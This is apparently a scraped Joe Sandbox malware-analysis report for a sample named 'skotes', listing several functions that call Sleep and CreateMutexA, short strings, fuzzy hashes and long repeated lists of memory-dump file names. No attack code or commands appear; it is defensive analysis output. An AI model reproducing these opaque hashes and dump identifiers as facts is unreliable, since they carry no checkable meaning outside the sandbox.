Opcode Fuzzy Hash: 15cb358d2fbe8e8bc6e02e10d0cb088acfad1b8b55af87c7dda45d216212eb8b
Instruction Fuzzy Hash: EB317B71644204DBEB08FB78DC8976DFBB2EB95310F24821AE114973D6E77E59808761

Function 00789F44 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0078A963
CreateMutexA.KERNELBASE(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970
S_D, xrefs: 0078A989
tB_D, xrefs: 0078A998

Memory Dump Source

Source File: 00000004.00000002.2183982105.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000004.00000002.2183963510.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2183982105.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184046156.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184065867.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184088288.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184211121.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184230704.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184255961.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184275654.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184295416.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184295416.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184338203.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184353935.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184372826.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184390537.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184414853.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184437914.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184456746.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184474771.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184494179.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184514890.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184537434.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184559007.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184579546.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184599295.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184620421.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184639173.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184654061.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184673422.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184695215.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184717096.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184736670.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184756657.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184777481.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184799325.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184817251.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184837419.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184854915.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184878201.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184898432.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184918696.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184918696.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184977123.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184999880.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185019364.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185033551.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185052704.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185069151.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2~$tB_D$S_D
API String ID: 1464230837-3299340654
Opcode ID: 6162dff50031b167081f5477fc1f40b338928b2e33ac626b18f620aa50deeb4b
Instruction ID: e86380be0d9b68fdeb9390672378668e7176681b3add0df4c12b4ff61e56d80f
Opcode Fuzzy Hash: 6162dff50031b167081f5477fc1f40b338928b2e33ac626b18f620aa50deeb4b
Instruction Fuzzy Hash: 57314A31654104EBEB18BBB8DC897ACF762EB85310F24861AE154E73D2E77E59808752

Function 0078A418 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0078A963
CreateMutexA.KERNELBASE(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970
S_D, xrefs: 0078A989
tB_D, xrefs: 0078A998

Memory Dump Source

Source File: 00000004.00000002.2183982105.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000004.00000002.2183963510.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2183982105.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184046156.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184065867.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184088288.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184211121.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184230704.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184255961.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184275654.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184295416.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184295416.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184338203.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184353935.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184372826.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184390537.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184414853.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184437914.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184456746.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184474771.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184494179.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184514890.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184537434.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184559007.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184579546.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184599295.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184620421.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184639173.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184654061.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184673422.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184695215.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184717096.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184736670.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184756657.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184777481.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184799325.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184817251.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184837419.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184854915.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184878201.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184898432.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184918696.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184918696.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184977123.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184999880.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185019364.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185033551.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185052704.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185069151.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2~$tB_D$S_D
API String ID: 1464230837-3299340654
Opcode ID: 89bfcf5fa49c4dc391d64ba490ee4689a055a63b18f6de7be2ca35ec5c0f77f3
Instruction ID: 2d3e13cad1e65f2855e5e7f7adabd7476e2e7a0e8a85f404446e96f8ee652d0d
Opcode Fuzzy Hash: 89bfcf5fa49c4dc391d64ba490ee4689a055a63b18f6de7be2ca35ec5c0f77f3
Instruction Fuzzy Hash: A3313B31A44140EBFF18BBBCD88D76DB661EF95310F20821AE058D73D6E7BE59808762

Function 0078A54D Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0078A963
CreateMutexA.KERNELBASE(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970
S_D, xrefs: 0078A989
tB_D, xrefs: 0078A998

Memory Dump Source

Source File: 00000004.00000002.2183982105.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000004.00000002.2183963510.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2183982105.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184046156.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184065867.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184088288.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184211121.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184230704.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184255961.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184275654.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184295416.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184295416.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184338203.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184353935.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184372826.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184390537.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184414853.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184437914.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184456746.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184474771.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184494179.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184514890.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184537434.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184559007.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184579546.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184599295.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184620421.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184639173.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184654061.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184673422.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184695215.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184717096.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184736670.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184756657.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184777481.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184799325.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184817251.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184837419.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184854915.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184878201.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184898432.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184918696.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184918696.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184977123.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184999880.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185019364.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185033551.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185052704.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185069151.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2~$tB_D$S_D
API String ID: 1464230837-3299340654
Opcode ID: e2b0bd4aa243d033602f6a68a609ad1ab2c040c419491f2bd9878b8e5d30acfe
Instruction ID: 868c9ab0a648d9986bed0a71b09309449cec7f5ea4b2ce2519e87378fed1b833
Opcode Fuzzy Hash: e2b0bd4aa243d033602f6a68a609ad1ab2c040c419491f2bd9878b8e5d30acfe
Instruction Fuzzy Hash: 9F314C31645100EBFB08FBB8DC8976CB761EB85314F24821AE054D73D6D77D99808722

Function 00789ADC Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0078A963
CreateMutexA.KERNELBASE(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970
S_D, xrefs: 0078A989
tB_D, xrefs: 0078A998

Memory Dump Source

Source File: 00000004.00000002.2183982105.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000004.00000002.2183963510.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2183982105.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184046156.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184065867.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184088288.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184211121.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184230704.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184255961.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184275654.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184295416.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184295416.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184338203.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184353935.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184372826.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184390537.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184414853.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184437914.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184456746.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184474771.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184494179.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184514890.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184537434.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184559007.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184579546.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184599295.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184620421.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184639173.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184654061.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184673422.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184695215.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184717096.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184736670.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184756657.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184777481.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184799325.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184817251.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184837419.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184854915.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184878201.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184898432.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184918696.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184918696.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184977123.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184999880.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185019364.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185033551.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185052704.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185069151.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2~$tB_D$S_D
API String ID: 1464230837-3299340654
Opcode ID: 5b562d44ac6977aa26563dbaa346cba8935d137cd3926c92b0590dd8890c83db
Instruction ID: 328a1da9b6cecb3407caf09edf70249a87dff5e5f8e0c56fef09e51a42ad40a7
Opcode Fuzzy Hash: 5b562d44ac6977aa26563dbaa346cba8935d137cd3926c92b0590dd8890c83db
Instruction Fuzzy Hash: 6F214C32754240EBEB18BB68ECC976CF765EBD5310F24821AE544C73D1E77E69408712

Function 0078A856 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0078A963
CreateMutexA.KERNELBASE(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970
S_D, xrefs: 0078A989
tB_D, xrefs: 0078A998

Memory Dump Source

Source File: 00000004.00000002.2183982105.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000004.00000002.2183963510.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2183982105.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184046156.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184065867.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184088288.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184211121.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184230704.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184255961.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184275654.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184295416.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184295416.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184338203.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184353935.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184372826.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184390537.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184414853.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184437914.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184456746.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184474771.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184494179.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184514890.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184537434.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184559007.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184579546.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184599295.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184620421.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184639173.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184654061.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184673422.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184695215.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184717096.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184736670.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184756657.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184777481.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184799325.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184817251.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184837419.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184854915.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184878201.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184898432.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184918696.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184918696.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184977123.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184999880.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185019364.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185033551.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185052704.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185069151.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

